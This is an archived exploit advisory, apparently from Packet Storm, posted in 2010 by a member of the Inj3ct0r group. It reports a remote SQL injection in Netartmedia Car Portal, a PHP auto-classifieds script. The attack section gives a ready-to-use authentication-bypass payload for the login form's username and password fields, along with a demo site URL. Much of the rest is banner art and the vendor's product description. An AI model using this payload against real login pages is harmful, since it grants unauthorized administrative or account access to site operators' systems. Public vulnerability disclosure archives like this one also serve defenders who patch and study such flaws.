exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Netartmedia Car Portal SQL Injection

Netartmedia Car Portal SQL Injection
Posted Jun 29, 2010
Authored by Sid3 effects

Netartmedia Car Portal suffers from a remote SQL injection vulnerability that allows for authentication bypass.

tags | exploit, remote, sql injection
SHA-256 | 943a82644531c265a0c8269577047fe44a0a83a28e14d8d34e9e032e1121fdc4

Netartmedia Car Portal SQL Injection

Change Mirror Download
            ==================================================
Netartmedia Car Portal SQLi Vulnerability
==================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ########################################## 1
0 I'm Sid3^effects member from Inj3ct0r Team 1
1 ########################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Netartmedia Car Portal SQLi Vulnerability
Date : june, 28 2010
Critical Level : HIGH
Vendor Url : http://www.netartmedia.net/carsportal/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
Description:
Car Portal is a software solution for running auto classifieds portals. It provides functionality for the private sellers to signup, list their car for sale and make changes in their ads online using the private sellers administration space. The product provides special functionalities for the dealers to work and manage multiple ads. An affiliate functionality is also included, affiliate partners may signup and earn commissions on all the sales done through their links. The product comes with a very powerful back office application for the administrators, allowing them not only to manage the cars portal settings, the dealers, affiliates etc. but also providing them full control over the website, its structure and content, statistics, search engines functionality and many others.

What technology is used for Car Portal?
Car Portal is a web solution written in PHP and it uses a MySQL database for storing the data. In order to run it on your server/hosting package you need both PHP and MySQL running and also mod_rewrite (if you plan to use the functionality for SEO links, it can be turned off if this module isn't present).

###############################################################################################################

Xploit: SQLi VUlnerability


use this sql combo both in username and password ' or 1=1 or ''=' in the login section

DEMO URL : http://www.wscreator.com/autoportal3/index.php

###############################################################################################################
# 0day no more
# Sid3^effects
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close